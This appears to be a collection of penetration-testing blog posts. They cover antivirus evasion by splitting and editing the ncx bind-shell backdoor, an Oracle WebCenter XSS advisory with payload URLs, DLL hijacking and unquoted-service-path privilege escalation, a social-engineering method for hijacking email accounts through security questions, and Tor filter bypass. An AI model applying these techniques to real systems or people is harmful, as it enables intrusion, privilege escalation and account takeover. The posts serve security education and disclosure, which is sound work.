Antivirus Evasion

A few weekends back i was wondering how do malware evade antivirus solutions, is it really that easy ?

With that in mind i started looking at some known malware piece and randomly pick a anti malware solutions to my surprise AVs can still be tricked with old technique such as string substitution method, so today we will explore this very well known technique. For testing purpose i choose ncx as a test malware which binds itself on port 99 and when someone connects to ncx it gives command prompt of the system.

First let’s scan the default malware to check if it’s detected or not.

 

 

 

 

 

 

 

 

 

 

 

 

As it can be seen in below screenshot that ncx is detected by our antivirus

 

Let’s split file into small chunks, after a bit of trial and error i found that splitting into 17 bytes does not break any signature of av, the trick here is we have to keep splitting files as long as the av keeps flagging those files

 

On scanning split chunks two detection were made by our av i.e chunk 1 and 4 were identified as malicious

 

 

Change lower case ‘cmd’ to upper case ‘CMD’ and save it

 

 

Yes no more detection !

 

 

In sixth line of split chunk number 1 let’s change upper case ‘S’ to lower case ‘s’ and save it

 

 

Scan it again, and av no longer detects this chunk.

 

 

Finally join files back

 

 

Rename the joined file

 

 

Scan shows no more detection ūüôā

 

 

And we can see on execution it is indeed listening on port 99

 

 

POC Video:-

 

Oracle Web Center XSS

Oracle Web Center XSS
Details
========================================================================================
Product: Oracle Web Center [Versions 11.1.1.9.0, 12.2.1.1.0, 12.2.1.2.0]
Security-Risk: High
Remote-Exploit: yes
Vendor-URL: https://www.oracle.com/
CVE-ID: CVE-2017-10075
CVSS: 8.2

Credits
========================================================================================
Discovered by: Owais Mehtab & Tayeeb Rana


Affected Products:
========================================================================================
Oracle Web Center [Versions 11.1.1.9.0, 12.2.1.1.0, 12.2.1.2.0]

Description
========================================================================================
Two Cross site scripting (XSS) vulnerabilities have been identified in Oracle Web Center,
the vulnerability can be easily exploited and can be used to steal cookies,
perform phishing attacks and other various attacks compromising the security of a
user.

Proof of Concept
========================================================================================
http://example.com/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=XXXXXXXXXXXX<svg/onload=alert(/xss/)>&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=OO


http://example.com/cs/idcplg?IdcService=GET_SEARCH_RESULTS&ResultTemplate=StandardResults&ResultCount=20&FromPageUrl=/cs/idcplg?IdcService=GET_DYNAMIC_PAGEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA\"&PageName=indext&SortField=dInDate&SortOrder=Desc&ResultsTitle=AAA&dSecurityGroup=&QueryText=(dInDate+%3E=+%60%3C$dateCurrent(-7)$%3E%60)&PageTitle=XXXXXXXXXXXX<svg/onload=alert(/xss/)>

 


Solution
========================================================================================
Apply Oracle CPU July 2017

VMWare Horizon View Client <= 5.4 DLL Hijacking

During one of the pentest assignment i had to perform security assessment for VMWare Horizon View Client, since it’s native windows application the attack vectors are different than normal web apps. I started looking at the memory then traffic then registries found nothing, i was at a total loss…. Fortunately since it’s a native application it must require some dlls, so there are pretty good chances that developers might forgot to explicitly call dlls via complete path, what does that mean ? So lets say an application requires abc.dll and it just calls it by referring call abc.dll windows will look for abc.dll in following order:-

  • The directory from which the application loaded.
  • System directory (C:\Windows\Syswow64).
  • System directory (C:\Windows\System32).
  • The 16-bit system directory (C:\Windows\System).
  • The Windows directory (C:\Windows).
  • The Current Directory.
  • Directories that are listed in the PATH variables.

I fired up process minitor with following rules:-

Next i started the application to see which dlls are missing.

So As we can see that Trutil.dll is required by the application and it’s clearly missing

Once the application is launched we will get reverse shell….sweet!!!

 

 

Unquoted Service Path Privilege Escalation

During pentest engagement we often manage to get a shell (usually it’s enough to prove your point) but what if one can truly get a complete hold of system ?

So there are tons of privilege escalation techniques out there which includes exploiting kernel level bug, mis-configurations so on and so forth.

One of the ways to get elevated access is to exploit unquoted service paths of services running under high privileged user such as administrator or system account

The concept behind unquoted service is service path name contains white space windows assumes that anything before white space is the binary location and anything after that is argument, if it fails to to locate any binary there then it moves on to next directory defined in service path name, to make it more clear lets take a look at below example:-

C:\Program Files\Company Name\AppName Version\App_Binary.exe

when the service starts windows will first look for Programs.exe in C:\ if it does not find any binary named as Program.exe then it will look for Company.exe again if it finds any binary named Company.exe windows will execute it instead of orignal binary i.e App_Binary.exe

So in order to exploit this scenario following conditions must meet:-

1-Service running under high privileged account i.e administrator/system

2-Service path must contain white space

3-One must have write access to directories of the service/app.

For demo purpose Foxit PDF Reader version 7.0.6.1126

Download Link:- http://www.oldapps.com/foxit_reader.php?old_foxit_reader=15897?download

The following screenshot shows that we already have a limited access to system

The following wmic query stolen shamelessly from internet can help in identifying unquoted service paths

wmic service get name,displayname,pathname,startmode |findstr /i "auto" |findstr /i /v "c:\windows\\" |findstr /i /v """

with the help of cacls utility that we can enumerate permissions, which in our case provides append rights to unprivileged user which means one can create files in that directory.

Uploading file to directory….

Once the service is restarted it will execute our binary instead of intended one and provide us with elevated privileges.

 

Social Network Information Harvesting (SNIH)

Social Networks ! For those people who do not know about the social network , what it is and what this blog post is all about, well, here is a quick introduction.

Social Network is

People share their personal or business information freely on these websites. Though the privacy policy is pretty customizable and one can exactly show what one wants and hide what one does not want people to see. Despite of all the security and the privacy, information can get leaked. Many of these social networks constantly change their privacy policies and at one point when u upload a picture it is automatically set to your privacy settings and at another time, its public for the world to see, You constantly have to check again and again whether the privacy of the material is public or not. For example: We performed a controlled check through Facebook to prove our theory and what happened was that most of our friends profile pictures were public and when we contacted them, so they were all saying the exact same thing that the last picture they uploaded was private and now this one became public automatically when they uploaded it.

The main point of this discussion is not to find flaws in social networking websites but it is that security gaps are inevitable and all of our information is on these giant networks and for any reason if the information gets leaked, then you are at a loss. Now this is a great thing for Spammers, who harvest email addresses and other personal information.

Social Network Information Harvesting is basically defined as gathering information about people,  available on the these social networks.   Social Network Information Harvesting can be a service for different kinds of people. Law Enforcement, Criminals, Spammers, Hackers, Intelligence.

SNIH can be applied in many scenarios and the repercussions of this can be quite serious, not for the attacker, but the victims.

SNIH Scenario: [The Scenario is based on Facebook]

Usually what SNIH implementer do is that they create a small game or an application for the users to play or access on the Facebook. Most of the applications ask for permissions like email, statuses, friend-list etc. Now if it is a legitimate application then its a blessing but if it is a malicious one then you can say good bye to any privacy set by the user or the Social Network.

Now the information gathered or harvested can be used to find trends for analysis. This analysis is useful to Law Enforcement Agencies. If personal statuses are harvested then one can determine the tendencies in a person. Similarly If people with malicious intent get hold of this information then, the question arises that except for the obvious, Email Spamming, Harvested pictures selling and buying , Personal information Stealing , cell phone numbers harvesting, what else can they do? Well this takes us to our second Scenario ..

SNIH Scenario 2 : [Disclaimer : This Information is for Educational Purposes. We will not be held responsible for any misuse of this information]

In this scenario we will see an attack that can be carried out by hackers against the innocent users. Though due to two factor authentication this attack might not work but most of us do not opt for two factor authentication.

The attack is on some users email address. Usually when we go to “forget your password”, the system asks us a secret question, which we have to answer in order to reset our password. Now if the hacker goes to some targeted users email and does the above mentioned procedure and for example the secret question is : my favorite pets name. Keep in mind that this account was made some years back and the person doesn’t even remember the question he or she kept, let alone the answer. Now comes the part where a little social engineering would help alot. The attacker goes on Facebook and if he or she knows the person who is targeted then its a walk in the park, as¬†most of the users information is shown on his or hers profile page or home page, but in this case he would have to ask him or her for the answer. Now if the person is a stranger, what the attacker has to do is to add the target user and start a conversation with him or her and between the chat, after a day or so, he can casually ask about pets and other stuff and then slowly ask : I just bought a dog, what name should I give it¬† and most probably in the users mind , in his subconscious, there is an 80% chance that he or she would tell you the same name. Once the attacker gets the hold of the answer, he just has to go to the email providers account and enter the answer and BOOM ! He is in !

Now what exactly happened was that the attacker used the information available on one social network against another network. The example above requires a little bit of social engineering but usually the questions are my aunts name etc and that can easily be extracted from the information provided by the user on his profile.

To conclude, it is safe to say that Social Network Information Harvesting is wrong because it doesn’t matter if the law enforcement agencies use it or any other people with malicious intent use it, the point is that the user doesn’t know that the information is being harvested. This is in itself a crime whether Law Enforcement is using it or any other person is.

[This is a re-post of the original, posted on 20th of March, 2013, on Xc0re blog.]

Bypass Online Filter Restriction

Hello again !

Disclaimer: All the material shown on this blog is for educational purposes ! We would not be held responsible for any illegal use of the material by any one !

Usually what happens is that people want to visit a website , which is legit , but some how it is listed in the document given to a naive network administrator and you want to download important stuff from it but what the hell , ITS BLOCKED !!!!!!!!¬† Your boss , teacher or any person whom you report to , doesn’t want hear stuff about BLOCKED SITES !! Its totally lame to them because they want results and you didn’t deliver. This is a very normal problem faced by many employees , students , etc.

First of all you would have to know a little about “Tunnel” . For that please check out my post about Tunneling because your concept of how tunneling works should be very clear. Today I would tell you how one can bypass these filters.

Tor stands for The Onion Router. This was at first created by the US Naval Research Laboratory a long time ago but then was handed over to the people for commercial use ! Though alot of funding is still coming from the US Govt, and alot of other parties. Which is a pretty good thing because TOR was initially designed for anonymity. The goal was that the users would be anonymous over the internet , thus becoming less of a target for the hackers but back then ” Drive By Malware/Exploits were not in mind or yet discovered.

In this blog I would cover the bypassing of filters so anonymity is not the main focus.Ok  how it works is that first you goto the link and download the Vidalia Bundle . Then once downloaded, install the software and all its components.

After installation run the Vidalia executable. Wait for its icon on the tray of the taskbar, to¬† the right, to become Green. Once that is done , goto the browser’s network option and add following values in the coinciding variables fields :

Proxy Address : 127.0.0.1

Proxy Port : 8118

Ok now save the settings and get out of the options/settings by clicking on OK !

Now your good to go ! To check whether the proxy is working or not goto : What is my IP (dot) com and see your IP Address. For cross checking whether the proxy is working or not , before adding the proxy settings to your browser goto the above mentioned website and note your IP Address and then compare it with the latter!

Enjoy ! If for instance your ISP or Administrator is smart enough to some how block the tor network, goto the TOR control panel and the click the settings button and then goto the netwok tab, it would be something like this :

If you use a proxy to access the internet , usually which is the case in Universities and Offices so this is the option to give proxy to TOR:

There are a few other techniques you could use to bypass the filters , but this one is by far the best.

Peace.